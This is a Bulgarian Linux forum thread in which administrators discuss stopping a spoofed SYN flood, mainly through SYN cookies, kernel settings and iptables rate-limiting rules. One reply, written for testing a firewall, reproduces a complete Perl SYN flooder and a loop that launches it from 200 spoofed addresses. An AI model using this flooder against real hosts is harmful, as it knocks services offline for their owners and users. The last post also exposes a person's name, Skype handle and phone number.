Linux за българи: Форуми

Сигурност => Системна Сигурност => Темата е започната от: vylcho в Oct 16, 2009, 22:44



Титла: SYN атака - спиране
Публикувано от: vylcho в Oct 16, 2009, 22:44
Здравейте,
Сървъра ми е атакуван с SYN attack на порт 80 , а хостинг компанията не можа да направи нищо след отправено мое запитване. Пакетите са IP spoof-нати , а всичко намерено в гоогле беше до ограничаване на броя SYN заявки по време, което спира реалните потребители и сайта е неизползваем. SYN cookies не помогат, както и множество настройки които опитахме вкл. на net.ipv4.tcp_max_syn_backlog . Блокирането по IP-та помага за кратко тъй като са spoof-нати.
Моля за някакъв съвет , ако някой се е сблъсквал с такъв проблем


Титла: Re: SYN атака - спиране
Публикувано от: ntrance в Oct 16, 2009, 22:51
Бутона търси прави чудеса.!!!


Титла: Re: SYN атака - спиране
Публикувано от: VladSun в Oct 16, 2009, 23:20
Какво още си опитвал? SYN COOKIE би трябвало да е помогнало. tcp_synack_retries?


Титла: Re: SYN атака - спиране
Публикувано от: knemo в Oct 17, 2009, 11:05
SYN,  DDOS и DOS не може да се предотвартят от теб. Говори с доставчика ако не ти обърне внимание го смени :)

Хората постепено ще разберат каква е разликата м/у квартален интернет и бизнес !!!



Титла: Re: SYN атака - спиране
Публикувано от: ntrance в Oct 17, 2009, 12:26
SYN,  DDOS и DOS не може да се предотвартят от теб. Говори с доставчика ако не ти обърне внимание го смени :)

Хората постепено ще разберат каква е разликата м/у квартален интернет и бизнес !!!
Тук грешиш!


Титла: Re: SYN атака - спиране
Публикувано от: knemo в Oct 17, 2009, 15:15
Еми добре ако греша кажи ми на човека как тъкмо и аз да знам :)


Титла: Re: SYN атака - спиране
Публикувано от: ntrance в Oct 18, 2009, 14:58
google.com BLOCK SYN FLOOD !!! Първа страница! Първи ред!!!
http://lists.netfilter.org/pipermail/netfilter/2001-August/025442.html

Има доста начини


Титла: Re: SYN атака - спиране
Публикувано от: knemo в Oct 18, 2009, 18:40
google.com BLOCK SYN FLOOD !!! Първа страница! Първи ред!!!
http://lists.netfilter.org/pipermail/netfilter/2001-August/025442.html

Има доста начини
Обичам като някой ми даде линк в Google.  Аз мога да ти дам 1000000 линка по темата и нито един който решава проблема.

Пак ти казвам при атака с споофед ип  нищо не може да направиш локално освен ако решиш дане си загасиш машината.



Титла: Re: SYN атака - спиране
Публикувано от: VladSun в Oct 18, 2009, 18:58
Чак пък нищо - има неща, които помагат. Макар и да съм съгласен, че synflood с показаното по-горе iptables решение води до DoS
http://www.securityfocus.com/infocus/1729

Цитат
SYN cookies protection is especially useful when the system is under a SYN flood attack and source IP addresses of SYN packets are also forged (a SYN spoofing attack).


Титла: Re: SYN атака - спиране
Публикувано от: SK0RP10N в Oct 18, 2009, 22:13
Код:
echo "1" > /proc/syncookies 
Я пробвай с това


Титла: Re: SYN атака - спиране
Публикувано от: vylcho в Oct 19, 2009, 01:21
А всъщност SYN COOKIE + настройки на кернела не помогнаха особено. Те вероятно вършат полезна работа, но не и в моя случай в който ме атакуваха с порядък от над 150К пакета в секунда в продължение на 9 часа. Помогнаха ми правила за iptables които взаимствах от чудесната статия на Vladsun за адаптивна защитна стена. Благодаря Ти Vladsun. Незнам защо не ми предложи да видя статията ти, но се радвам че попаднах на нея. iptables + recent, hashlimit правят чудеса. А ето и линка на статията: http://www.linux-bg.org/cgi-bin/y/index.pl?page=article&id=advices&key=393512859&layout=clean ($2)    Благодаря ти V


Титла: Re: SYN атака - спиране
Публикувано от: sevdalincho в Nov 20, 2009, 13:41
какво ще кажеш за един iptables



Титла: Re: SYN атака - спиране
Публикувано от: ntrance в Nov 20, 2009, 14:46
google.com BLOCK SYN FLOOD !!! Първа страница! Първи ред!!!
http://lists.netfilter.org/pipermail/netfilter/2001-August/025442.html

Има доста начини
Обичам като някой ми даде линк в Google.  Аз мога да ти дам 1000000 линка по темата и нито един който решава проблема.

Пак ти казвам при атака с споофед ип  нищо не може да направиш локално освен ако решиш дане си загасиш машината.

Аз пък го спирам ....... Е има тук таме някой друг "Син" едно да са 2000 както преди друго е да са около 30 - 40 .


Титла: Re: SYN атака - спиране
Публикувано от: sevdalincho в Nov 20, 2009, 17:28
е аз не мога да си обесня как ще ме флоодят докато iptables-a (или някой друг firewall който ограничава(филтрирва) трафика) работи посъщото време и се дропват пакетите


Титла: Re: SYN атака - спиране
Публикувано от: knemo в Nov 20, 2009, 18:03
е аз не мога да си обесня как ще ме флоодят докато iptables-a (или някой друг firewall който ограничава(филтрирва) трафика) работи посъщото време и се дропват пакетите
Еми това е проблема. Пакетите идват до иптаблес а дали се дропват или не няма значение. Те вече са ти препълнили канала за интернет :) дали ще влезат или не в твоята мрежа не оказва влиание на броя пакети дошли до теб :)))
Това му е гадното на тая атака пък и всеки може да я направи което я прави още по гадна


Титла: Re: SYN атака - спиране
Публикувано от: sevdalincho в Nov 20, 2009, 19:42
съмняваме много ;]

Код
GeSHi (Bash):
  1. #!/bin/bash
  2. IPT="/usr/sbin/iptables"
  3.  
  4. echo "Starting IPv4 Wall..."
  5. $IPT -F
  6. $IPT -X
  7. $IPT -t nat -F
  8. $IPT -t nat -X
  9. $IPT -t mangle -F
  10. $IPT -t mangle -X
  11. modprobe ip_conntrack
  12.  
  13. BADIPS=$(grep -v -E "^#|^$" /root/scripts/blocked.fw)
  14. PUB_IF="eth0"
  15.  
  16. #unlimited
  17. $IPT -A INPUT -i lo -j ACCEPT
  18. $IPT -A OUTPUT -o lo -j ACCEPT
  19.  
  20. # DROP all incomming traffic
  21. $IPT -P INPUT DROP
  22. $IPT -P OUTPUT DROP
  23. $IPT -P FORWARD DROP
  24.  
  25. # block all bad ips
  26. for ip in $BADIPS
  27. do
  28.    $IPT -A INPUT -s $ip -j DROP
  29.    $IPT -A OUTPUT -d $ip -j DROP
  30. done
  31.  
  32. # sync
  33. $IPT -A INPUT -i ${PUB_IF} -p tcp ! --syn -m state --state NEW  -m limit --limit 5/m --limit-burst 7 -j LOG --log-level 4 --log-prefix "Drop Syn"
  34.  
  35. $IPT -A INPUT -i ${PUB_IF} -p tcp ! --syn -m state --state NEW -j DROP
  36.  
  37. # Fragments
  38. $IPT -A INPUT -i ${PUB_IF} -f  -m limit --limit 5/m --limit-burst 7 -j LOG --log-level 4 --log-prefix "Fragments Packets"
  39. $IPT -A INPUT -i ${PUB_IF} -f -j DROP
  40.  
  41. # block bad stuff
  42. $IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags ALL FIN,URG,PSH -j DROP
  43. $IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags ALL ALL -j DROP
  44.  
  45. $IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags ALL NONE -m limit --limit 5/m --limit-burst 7 -j LOG --log-level 4 --log-prefix "NULL Packets"
  46. $IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags ALL NONE -j DROP # NULL packets
  47.  
  48. $IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags SYN,RST SYN,RST -j DROP
  49.  
  50. $IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags SYN,FIN SYN,FIN -m limit --limit 5/m --limit-burst 7 -j LOG --log-level 4 --log-prefix "XMAS Packets"
  51. $IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags SYN,FIN SYN,FIN -j DROP #XMAS
  52.  
  53. $IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags FIN,ACK FIN -m limit --limit 5/m --limit-burst 7 -j LOG --log-level 4 --log-prefix "Fin Packets Scan"
  54. $IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags FIN,ACK FIN -j DROP # FIN packet scans
  55.  
  56. $IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG -j DROP
  57.  
  58. # Allow full outgoing connection but no incomming stuff
  59. $IPT -A INPUT -i eth0 -m state --state ESTABLISHED,RELATED -j ACCEPT
  60. $IPT -A OUTPUT -o eth0 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
  61.  
  62. # allow ssh only
  63. $IPT -A INPUT -p tcp --destination-port 22 -j ACCEPT
  64. $IPT -A OUTPUT -p tcp --sport 22 -j ACCEPT
  65.  
  66. # allow 80 only
  67. $IPT -A INPUT -p tcp --destination-port 80 -j ACCEPT
  68. $IPT -A OUTPUT -p tcp --sport 80 -j ACCEPT
  69.  
  70.  
  71.  
  72. # allow port 2112 only
  73. $IPT -A INPUT -p tcp --destination-port 2112 -j ACCEPT
  74. $IPT -A OUTPUT -p tcp --sport 2112 -j ACCEPT
  75.  
  76. # allow port 6667 only
  77. $IPT -A INPUT -p tcp --destination-port 9000 -j ACCEPT
  78. $IPT -A OUTPUT -p tcp --sport 9000 -j ACCEPT
  79.  
  80. # allow port 6665  only
  81. $IPT -A INPUT -p tcp --destination-port 6665 -j ACCEPT
  82. $IPT -A OUTPUT -p tcp --sport 6665  -j ACCEPT
  83.  
  84. # allow 7000 only
  85. $IPT -A INPUT -p tcp --destination-port 6667 -j ACCEPT
  86. $IPT -A OUTPUT -p tcp --sport 6667  -j ACCEPT
  87.  
  88. # allow 9000 only
  89. $IPT -A INPUT -p tcp --destination-port 7000 -j ACCEPT
  90. $IPT -A OUTPUT -p tcp --sport 7000  -j ACCEPT
  91.  
  92. # allow domain  only
  93. $IPT -A INPUT -p tcp --destination-port 53 -j ACCEPT
  94. $IPT -A OUTPUT -p tcp --sport 53  -j ACCEPT
  95.  
  96. # allow ssh  only
  97. $IPT -A INPUT -p tcp --destination-port 22 -j ACCEPT
  98. $IPT -A OUTPUT -p tcp --sport 2  -j ACCEPT
  99.  
  100.  
  101. # allow incoming ICMP ping pong stuff
  102. $IPT -A INPUT -p icmp --icmp-type 8 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
  103. $IPT -A OUTPUT -p icmp --icmp-type 0 -m state --state ESTABLISHED,RELATED -j ACCEPT
  104.  
  105. # No smb/windows sharing packets - too much logging
  106. $IPT -A INPUT -p tcp -i eth0 --dport 137:139 -j REJECT
  107. $IPT -A INPUT -p udp -i eth0 --dport 137:139 -j REJECT
  108.  
  109. # Log everything else
  110. # *** Required for psad ****
  111. $IPT -A INPUT -j LOG
  112. $IPT -A FORWARD -j LOG
  113. $IPT -A INPUT -j DROP
  114.  
  115. # Start ipv6 firewall
  116. # echo "Starting IPv6 Wall..."
  117. /root/scripts/start6.fw
  118.  
  119. exit 0
  120.  



Титла: Re: SYN атака - спиране
Публикувано от: VladSun в Nov 20, 2009, 21:06
Какво точно те съмнява, Севдалинчо ???


Титла: Re: SYN атака - спиране
Публикувано от: ntrance в Nov 21, 2009, 00:34
Еи , като публикувате и решите да промените нещо като ваше поне го правите като хората ...
Пример
#
# allow 7000 only
#
$IPT -A INPUT -p tcp --destination-port 6667 -j ACCEPT
#
$IPT -A OUTPUT -p tcp --sport 6667  -j ACCEPT
#
 
#
# allow 9000 only
#
$IPT -A INPUT -p tcp --destination-port 7000 -j ACCEPT
#
$IPT -A OUTPUT -p tcp --sport 7000  -j ACCEPT...

...


Титла: Re: SYN атака - спиране
Публикувано от: sevdalincho в Nov 21, 2009, 01:08
е не е болка за умиране ще си го едитна ся  ;D


Титла: Re: SYN атака - спиране
Публикувано от: ntrance в Nov 21, 2009, 01:49
е не е болка за умиране ще си го едитна ся  ;D

Firewall не е твой преди година го ползвах , и го бях взел от един форум , и го пасте на един пич. А сега ти го вземаш поне го остави оргиналния както аз направих , все пак си има автор на него. Не е коректно към човека който се е мъчил да го прави


Титла: Re: SYN атака - спиране
Публикувано от: dhelix в Nov 21, 2009, 11:46
@станиславчо  така като гледам iptables ще ти лимитира syn пакетите - ВСИЧКИ ,което най-малкото ще доведе до деградиране на производителността.
syn-proxy е нещото,което би се борило доста по добре с този тип атаки -виж PF  в *BSD.Обаче,пак не е вездесъщо,но върши доста по добра работа.


Титла: Re: SYN атака - спиране
Публикувано от: sevdalincho в Nov 21, 2009, 18:44
първо не съм казал никъде че аз съм го писал
второ един авер ми секурна машината един път и от тогава си го ползвам скрипта
а е ако това те успокои iptables-a го имам от 2 години насам
и трето не ме интересува къде кой ти бил постнал скрипта
...изтрито...  ;D

Редактирано, съгласно т. 6 от http://www.linux-bg.org/forum/index.php?topic=6115.0
bop_bop_mara


Титла: Re: SYN атака - спиране
Публикувано от: ntrance в Nov 21, 2009, 19:13
(rofl). И скрипта не е никъв secure , ако си мислиш така  не прави кой знае какво. Да не кажа почти нищо. А за това кадето казваш , може и 5 години да ползвш iptables ,  но това не значи че знаеш имаш дори най малката напредстава как работи .Iptables  си е направо отделнан наука в линукса.
Както казах следващия път когато решиш да вземеш нещо готово направено  остави го реално  както си е , а  не да го променяш и той по пограшен начин. Тук хората  пак ще ти бъдат благодарни че си намерил нещо по добре от тяхното решение.


Титла: Re: SYN атака - спиране
Публикувано от: sevdalincho в Nov 21, 2009, 20:23
..изтрито... ще си трая  ;D

Редактирано съгласно т. 6 от http://www.linux-bg.org/forum/index.php?topic=6115.0
bop_bop_mara


Титла: Re: SYN атака - спиране
Публикувано от: ROKO__ в Apr 07, 2010, 14:39
По елементарно е във /etc/sysctl.conf

# Enable TCP SYN Cookie Protection
net.ipv4.tcp_syncookies = 1

запазване и sysctl -p

това е


Титла: Re: SYN атака - спиране
Публикувано от: p3tzata_ в Apr 13, 2010, 18:06
Колеги и аз да се включа в тази интересна тема.
Ако може да ми дадете малко акъл за ipt_recent аз също изчето темата (съвета) на VladSun
Не мога да сетна параметъра :
Код:
modprobe ipt_recentt ip_list_tot=500
Симулирах една syn ataka и когато атакуващите са под 100 -на се държи добре .т.е. отрязва достъпа  на лошите, но котато са повече от 100 почти не сработва
Ето как пробвах защитната си стена:
Код
GeSHi (Bash):
  1. #!/bin/bash
  2. for (( c=1; c<=200; c++ ))
  3. do
  4. perl synflood.pl 192.168.0.$c 192.168.0.224 80 &
  5. done
  6.  

Съдържанието на synfloog.pl
Код
GeSHi (Bash):
  1. #!/usr/bin/perl
  2. # synflood.pl - Simple SYN Flooder
  3. # Author: iphelix
  4. #
  5. # Requires perl, Net::RawIP module, and root privileges
  6.  
  7. use Net::RawIP;
  8.  
  9. if($#ARGV == 2) {
  10.   ($src,$dst,$port) = @ARGV;
  11.   $a = new Net::RawIP;
  12.   while(1) {
  13.       $src_port = rand(65534)+1;
  14.      $a->set({ip => {saddr => $src,daddr => $dst},tcp => {source => $src_port,dest => $port, syn => 1}});
  15.      $a->send;  
  16.   }
  17. } else {
  18.   print "./synflooder source_ip destination_ip destination_port\n";
  19. }
  20.  

Ако може да датете някакви насоки ...
Код
GeSHi (Bash):
  1. uname -a
  2. Linux router3 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686 athlon i386 GNU/Linux
  3.  






Титла: Re: SYN атака - спиране
Публикувано от: dejuren в Apr 13, 2010, 21:04
Ето едни насоки: http://lists.netfilter.org/pipermail/netfilter/2002-November/039855.html
Не е много... както се каза защитата не е 100%. Става за отрязване на SYN Scan, но не ако атаката е върху специфичен порт, тъй като той трябва да се отвори. Още малко защита може с IPLimit и PSD, но панацея няма. За справка http://www.cisco.com/web/about/ac123/ac147/archived_issues/ipj_9-4/syn_flooding_attacks.html


Титла: Re: SYN атака - спиране
Публикувано от: S1mbol в Jun 19, 2011, 18:01
Здравейте, нуждая се от помощ, имам доста сървъри за различни неща. Проблема ми идва от там, че имах написана защита от различен вид атаки, но така си мислех до преди 2-3 дена. Атакуваха ме доста зверски и всичко пада за не повече от 1-2 мин. Ако наистина някой може да помогне по въпроса  ще му платя. Нуждая от помощ в рамките на часове защото губя клиенти. Благодаря предвърително за съдествието. Може да ме намерите на skype: transporter4 или на gsm: 0897 481503 Петър Димов